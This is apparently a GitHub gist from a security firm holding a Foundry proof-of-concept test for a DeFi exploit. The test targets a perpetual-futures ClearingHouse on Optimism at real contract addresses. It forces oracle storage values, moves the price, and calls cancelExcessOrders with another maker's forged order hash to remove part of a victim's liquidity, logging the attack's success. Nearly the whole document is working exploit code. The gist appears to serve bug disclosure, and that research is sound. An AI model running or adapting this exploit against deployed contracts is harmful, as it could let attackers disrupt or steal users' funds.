Skip to content

Instantly share code, notes, and snippets.

@this-is-chainlight
Created October 19, 2023 06:47
Show Gist options
  • Save this-is-chainlight/6bc2c5917b948a09698a14158a4452e2 to your computer and use it in GitHub Desktop.
Save this-is-chainlight/6bc2c5917b948a09698a14158a4452e2 to your computer and use it in GitHub Desktop.
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
pragma abicoder v2;
import "forge-std/Test.sol";
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}
interface IVault {
function deposit(address token, uint256 amount) external;
function depositFor(address to, address token, uint256 amount) external;
function withdraw(address token, uint256 amount) external;
function getFreeCollateralByToken(address trader, address token) external view returns (uint256);
}
interface IAccountBalance {
function getTakerOpenNotional(address trader, address baseToken) external view returns (int256);
function getTakerPositionSize(address trader, address baseToken) external view returns (int256);
}
interface IClearingHouse {
struct AddLiquidityParams {
address baseToken;
uint256 base;
uint256 quote;
int24 lowerTick;
int24 upperTick;
uint256 minBase;
uint256 minQuote;
bool useTakerBalance;
uint256 deadline;
}
struct AddLiquidityResponse {
uint256 base;
uint256 quote;
uint256 fee;
uint256 liquidity;
}
function addLiquidity(AddLiquidityParams calldata params) external returns (AddLiquidityResponse memory);
struct RemoveLiquidityParams {
address baseToken;
int24 lowerTick;
int24 upperTick;
uint128 liquidity;
uint256 minBase;
uint256 minQuote;
uint256 deadline;
}
struct RemoveLiquidityResponse {
uint256 base;
uint256 quote;
uint256 fee;
}
function removeLiquidity(RemoveLiquidityParams calldata params) external returns (RemoveLiquidityResponse memory);
struct OpenPositionParams {
address baseToken;
bool isBaseToQuote;
bool isExactInput;
uint256 amount;
uint256 oppositeAmountBound;
uint256 deadline;
uint160 sqrtPriceLimitX96;
bytes32 referralCode;
}
function openPosition(OpenPositionParams memory params) external returns (uint256 base, uint256 quote);
struct ClosePositionParams {
address baseToken;
uint160 sqrtPriceLimitX96;
uint256 oppositeAmountBound;
uint256 deadline;
bytes32 referralCode;
}
function closePosition(ClosePositionParams calldata params) external returns (uint256 base, uint256 quote);
function settleAllFunding(address trader) external;
function getAccountValue(address trader) external returns (int256);
function liquidate(address trader, address baseToken) external;
function cancelAllExcessOrders(address maker, address baseToken) external;
function cancelExcessOrders(address maker, address baseToken, bytes32[] calldata orderIds) external;
}
interface IOrderBook {
struct Info {
uint128 liquidity;
int24 lowerTick;
int24 upperTick;
uint256 lastFeeGrowthInsideX128;
int256 lastTwPremiumGrowthInsideX96;
int256 lastTwPremiumGrowthBelowX96;
int256 lastTwPremiumDivBySqrtPriceGrowthInsideX96;
uint256 baseDebt;
uint256 quoteDebt;
}
function getOpenOrder(address trader, address baseToken, int24 lowerTick, int24 upperTick) external view returns (Info memory);
function getOpenOrderIds(address maker, address baseToken) external view returns (bytes32[] memory);
}
interface IClearingHouseConfig {
function getSettlementTokenBalanceCap() external view returns (uint256 settlementTokenBalanceCap);
}
interface IUniswapV3Pool {
function slot0()
external
view
returns (
uint160 sqrtPriceX96,
int24 tick,
uint16 observationIndex,
uint16 observationCardinality,
uint16 observationCardinalityNext,
uint8 feeProtocol,
bool unlocked
);
struct TickInfo {
uint128 liquidityGross;
int128 liquidityNet;
uint256 feeGrowthOutside0X128;
uint256 feeGrowthOutside1X128;
int56 tickCumulativeOutside;
uint160 secondsPerLiquidityOutsideX128;
uint32 secondsOutside;
bool initialized;
}
function ticks(int24 tick)
external
view
returns (
uint128 liquidityGross,
int128 liquidityNet,
uint256 feeGrowthOutside0X128,
uint256 feeGrowthOutside1X128,
int56 tickCumulativeOutside,
uint160 secondsPerLiquidityOutsideX128,
uint32 secondsOutside,
bool initialized
);
function tickBitmap(int16 wordPosition) external view returns (uint256);
}
interface IPriceFeedV2 {
function getPrice(uint256 interval) external view returns (uint256);
}
contract TestAccount1 {}
contract TestAccount2 {}
contract TestAccount3 {}
contract PriceMoveSimulationAccount {}
contract ContractTest is Test {
uint160 internal constant MIN_SQRT_RATIO = 4295128739;
uint160 internal constant MAX_SQRT_RATIO = 1461446703485210103287273052203988822378723970342;
int24 internal constant MIN_TICK = -887272;
int24 internal constant MAX_TICK = -MIN_TICK;
int24 internal constant tickSpacing = 60;
function ts_floor(int24 tick) internal pure returns (int24) {
return tick + (tickSpacing - (tick % tickSpacing));
}
function ts_ceil(int24 tick) internal pure returns (int24) {
return ts_floor(tick) - tickSpacing;
}
IERC20 usdc = IERC20(0x7F5c764cBc14f9669B88837ca1490cCa17c31607);
uint256 usdcDecimals = (10 ** usdc.decimals());
address v_flow = 0x7EAdA83e15AcD08d22ad85A1dCE92E5A257Acb92;
IUniswapV3Pool v_flow_pool = IUniswapV3Pool(0xD26ffdDE6c0DAaAbEB0a6806221c6b9fE7519bdf);
IAccountBalance ab = IAccountBalance(0xA7f3FC32043757039d5e13d790EE43edBcBa8b7c);
IClearingHouse ch = IClearingHouse(0x82ac2CE43e33683c58BE4cDc40975E73aA50f459);
IClearingHouseConfig chc = IClearingHouseConfig(0xA4c817a425D3443BAf610CA614c8B11688a288Fb);
IOrderBook ob = IOrderBook(0xDfcaEBe8f6ea5E022BeFAFaE8c6Cdae8D4E1094b);
IVault v = IVault(0xAD7b4C162707E0B2b5f6fdDbD3f8538A5fbA0d60);
address oracle = 0x19A4dEa5470b2d8E16d9f8D929C0b36fe44113B4;
address[3] accounts;
address priceMoveSimulationAccount = address(new PriceMoveSimulationAccount());
int24 currentTick;
uint256 price;
function setUp() public {
accounts[0] = address(new TestAccount1());
accounts[1] = address(new TestAccount2());
accounts[2] = address(new TestAccount3());
uint256 settlementTokenBalanceCap = chc.getSettlementTokenBalanceCap();
uint256 vaultBalance = usdc.balanceOf(address(v));
// give test contract some USDC
vm.store(
address(usdc),
0x187a2ad3b11081a3050671ee16cc42acca7475835edc3ec15a30507fff0991e9,
bytes32(uint256(settlementTokenBalanceCap))
);
usdc.transfer(priceMoveSimulationAccount, 1000 * usdcDecimals);
usdc.transfer(accounts[1], 200000 * usdcDecimals);
uint256 n = settlementTokenBalanceCap - (
vaultBalance +
usdc.balanceOf(priceMoveSimulationAccount) +
usdc.balanceOf(accounts[1])
+ 1
);
usdc.transfer(accounts[0], n/2);
usdc.transfer(accounts[2], n/2);
for (uint i = 0; i < accounts.length + 1; i++) {
address x;
if (i < accounts.length)
x = accounts[i];
else
x = priceMoveSimulationAccount;
vm.startPrank(x);
usdc.approve(address(v), type(uint256).max);
v.deposit(address(usdc), usdc.balanceOf(x));
vm.stopPrank();
}
}
function setupLargePositions() internal {
emit log("\nsetupLargePositions()");
uint256 amount2 = uint256(ch.getAccountValue(accounts[1])) * (0.99 ether / uint256(1000000000)) / price - 1000;
uint256 amount3 = uint256(ch.getAccountValue(accounts[2])) * (0.958 ether / uint256(1000000000)) / price;
// provide sell liquidity
int24 lowerTick = ts_floor(currentTick);
int24 upperTick = ts_floor(currentTick) + tickSpacing;
vm.startPrank(accounts[0]);
ch.addLiquidity(
IClearingHouse.AddLiquidityParams({
baseToken: v_flow,
base: amount2 + amount3,
quote: 0,
lowerTick: lowerTick,
upperTick: upperTick,
minBase: 0,
minQuote: 0,
useTakerBalance: false,
deadline: type(uint256).max
})
);
int24 targetPoc2LowerTick = lowerTick + (tickSpacing * 5);
int24 targetPoc2UpperTick = lowerTick + (tickSpacing * 5) + tickSpacing;
// πŸ’₯πŸ’₯πŸ’₯πŸ’₯ JUST FOR TESTING THIS BUG NOT THE PREVIOUS ONE πŸ’₯πŸ’₯πŸ’₯πŸ’₯
ch.addLiquidity(
IClearingHouse.AddLiquidityParams({
baseToken: v_flow,
// CHANGE THIS TO 1000 does not revert
base: 100, // account[0]'s order, the liquidity = 100
quote: 0,
lowerTick: targetPoc2LowerTick,
upperTick: targetPoc2UpperTick,
minBase: 0,
minQuote: 0,
useTakerBalance: false,
deadline: type(uint256).max
})
);
emit log_named_address("maker", accounts[0]);
emit log_named_address("v_flow", v_flow);
emit log_named_int("targetPoc2LowerTick", targetPoc2LowerTick);
emit log_named_int("targetPoc2UpperTick", targetPoc2UpperTick);
// πŸ’₯πŸ’₯πŸ’₯πŸ’₯ END πŸ’₯πŸ’₯πŸ’₯πŸ’₯
vm.stopPrank();
// long
vm.startPrank(accounts[1]);
// πŸ’₯πŸ’₯πŸ’₯πŸ’₯ JUST FOR TESTING THIS BUG NOT THE PREVIOUS ONE πŸ’₯πŸ’₯πŸ’₯πŸ’₯
// add liquidity = 1000
ch.addLiquidity(
IClearingHouse.AddLiquidityParams({
baseToken: v_flow,
base: 1000,
quote: 0,
lowerTick: targetPoc2LowerTick,
upperTick: targetPoc2UpperTick,
minBase: 0,
minQuote: 0,
useTakerBalance: false,
deadline: type(uint256).max
})
);
// πŸ’₯πŸ’₯πŸ’₯πŸ’₯ END πŸ’₯πŸ’₯πŸ’₯πŸ’₯
ch.openPosition(
IClearingHouse.OpenPositionParams({
baseToken: v_flow,
isBaseToQuote: false,
isExactInput: false,
amount: amount2,
oppositeAmountBound: 0,
deadline: type(uint256).max,
sqrtPriceLimitX96: MAX_SQRT_RATIO - 1,
referralCode: bytes32(0)
})
);
vm.stopPrank();
( , currentTick, , , , , ) = v_flow_pool.slot0();
emit log_named_int("tick", currentTick);
// long
vm.startPrank(accounts[2]);
ch.openPosition(
IClearingHouse.OpenPositionParams({
baseToken: v_flow,
isBaseToQuote: false,
isExactInput: false,
amount: amount3,
oppositeAmountBound: 0,
deadline: type(uint256).max,
sqrtPriceLimitX96: MAX_SQRT_RATIO - 1,
referralCode: bytes32(0)
})
);
vm.stopPrank();
( , currentTick, , , , , ) = v_flow_pool.slot0();
emit log_named_int("tick", currentTick);
// remove remaining liquidity
vm.startPrank(accounts[0]);
ch.removeLiquidity(
IClearingHouse.RemoveLiquidityParams({
baseToken: v_flow,
lowerTick: lowerTick,
upperTick: upperTick,
liquidity: ob.getOpenOrder(
accounts[0],
v_flow,
lowerTick,
upperTick
).liquidity,
minBase: 0,
minQuote: 0,
deadline: type(uint256).max
})
);
vm.stopPrank();
}
function advanceBlockAndForceOracleOutput(uint256 _price) internal {
vm.roll(block.number + 1);
vm.warp(block.timestamp + 1);
// _cachedTwap = price
vm.store(oracle, bytes32(0x0000000000000000000000000000000000000000000000000000000000000301), bytes32(uint256(_price)));
// _lastUpdatedAt = block.timestamp
uint256 oracle_slot_x302 = uint256(vm.load(oracle, bytes32(0x0000000000000000000000000000000000000000000000000000000000000302)));
oracle_slot_x302 &= ~uint256(0xffffffffffffffffffffffffffffffff);
oracle_slot_x302 |= block.timestamp;
vm.store(oracle, bytes32(0x0000000000000000000000000000000000000000000000000000000000000302), bytes32(oracle_slot_x302));
}
function simulatePriceMove() internal {
emit log("\nsimulatePriceMove()");
uint256 ratio = 0.95 ether;
price = IPriceFeedV2(oracle).getPrice(900);
price = price * ratio / 1 ether;
int24 targetTick = int24(int256(uint256(int256(currentTick)) * ratio / 1 ether));
emit log_named_int("targetTick", targetTick);
vm.startPrank(priceMoveSimulationAccount);
while (currentTick > targetTick) {
advanceBlockAndForceOracleOutput(price);
ch.openPosition(
IClearingHouse.OpenPositionParams({
baseToken: v_flow,
isBaseToQuote: true,
isExactInput: false,
amount: 1000 ether,
oppositeAmountBound: 0,
deadline: type(uint256).max,
sqrtPriceLimitX96: MIN_SQRT_RATIO + 1,
referralCode: bytes32(0)
})
);
( , currentTick, , , , , ) = v_flow_pool.slot0();
emit log_named_int("tick", currentTick);
}
vm.stopPrank();
advanceBlockAndForceOracleOutput(price);
price = IPriceFeedV2(oracle).getPrice(900);
emit log_named_uint("oraclePrice", price);
}
int24 manipulatePriceLimitForNextBlockLowerTick;
int24 manipulatePriceLimitForNextBlockUpperTick;
function cancelExcessOrderByUsingMaliciousOrderIds() internal {
emit log("\ncancelExcessOrderByUsingMaliciousOrderIds()");
vm.startPrank(accounts[0]);
// provide buy liquidity at carefully selected price
( , currentTick, , , , , ) = v_flow_pool.slot0();
manipulatePriceLimitForNextBlockLowerTick = ts_ceil(currentTick - 750) - tickSpacing;
manipulatePriceLimitForNextBlockUpperTick = ts_ceil(currentTick - 750);
// this is add liquidity from accounts[0]
ch.addLiquidity(
IClearingHouse.AddLiquidityParams({
baseToken: v_flow,
base: 0,
quote: uint256(-ab.getTakerOpenNotional(accounts[1], v_flow)),
lowerTick: manipulatePriceLimitForNextBlockLowerTick,
upperTick: manipulatePriceLimitForNextBlockUpperTick,
minBase: 0,
minQuote: 0,
useTakerBalance: false,
deadline: type(uint256).max
})
);
// πŸ’₯πŸ’₯πŸ’₯πŸ’₯ JUST FOR TESTING THIS BUG NOT THE PREVIOUS ONE πŸ’₯πŸ’₯πŸ’₯πŸ’₯
bytes32[] memory orderIds = ob.getOpenOrderIds(accounts[1], v_flow);
emit log_named_bytes32("Original accounts[1]'s orderid", orderIds[0]);
/*
* maker: 0x185a4dc360ce69bdccee33b3784b0282f7961aea
* v_flow: 0x7eada83e15acd08d22ad85a1dce92e5a257acb92
* targetPoc2LowerTick: 4980
* targetPoc2UpperTick: 5040
*/
bytes32 otherMaliciousOrderId = keccak256(abi.encodePacked(accounts[0], v_flow, int24(4980), int24(5040)));
emit log_named_bytes32("otherMaliciousOrderId from accounts[0]", otherMaliciousOrderId);
bytes32[] memory newOrderIds = new bytes32[](1);
newOrderIds[0] = otherMaliciousOrderId;
ch.cancelExcessOrders(accounts[1], v_flow, newOrderIds); // cancel order with accounts[0]'s order hash (otherMaliciousOrderId)
vm.expectRevert(bytes("CH_CLWTISO")); // there is a remaning order since we did 1000 - 100 (liquidity)
ch.liquidate(accounts[1], v_flow); // CH_CLWTISO occurs
emit log("**** Oh yeah, a malicious attacker use different user's orderhash to remove the partial of victim's liquidity! ****");
// πŸ’₯πŸ’₯πŸ’₯πŸ’₯ END πŸ’₯πŸ’₯πŸ’₯πŸ’₯
vm.stopPrank();
}
function getAccountValues() internal returns (int256[] memory, uint256) {
int256[] memory accountValues = new int256[](accounts.length);
uint256 accountValueTotal = 0;
for (uint i = 0; i < accounts.length; i++) {
accountValues[i] = ch.getAccountValue(accounts[i]);
if (accountValues[i] > 0) {
accountValueTotal += uint256(accountValues[i]);
}
}
return (accountValues, accountValueTotal);
}
function test() public {
(int256[] memory initialAccountValues, uint256 initialAccountValueTotal) = getAccountValues();
emit log_named_int("initial accountValue (1)", initialAccountValues[0]);
emit log_named_int("initial accountValue (2)", initialAccountValues[1]);
emit log_named_int("initial accountValue (3)", initialAccountValues[2]);
emit log_named_uint("initial accountValue (total)", initialAccountValueTotal);
emit log_named_decimal_uint("initial accountValue (total in USDC)", initialAccountValueTotal / 1000000000000, usdc.decimals());
( , currentTick, , , , , ) = v_flow_pool.slot0();
emit log_named_int("currentTick", currentTick);
price = IPriceFeedV2(oracle).getPrice(900);
emit log_named_uint("oraclePrice", price);
setupLargePositions();
simulatePriceMove(); // to make accounts[1]'s position is liquidatable
cancelExcessOrderByUsingMaliciousOrderIds();
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment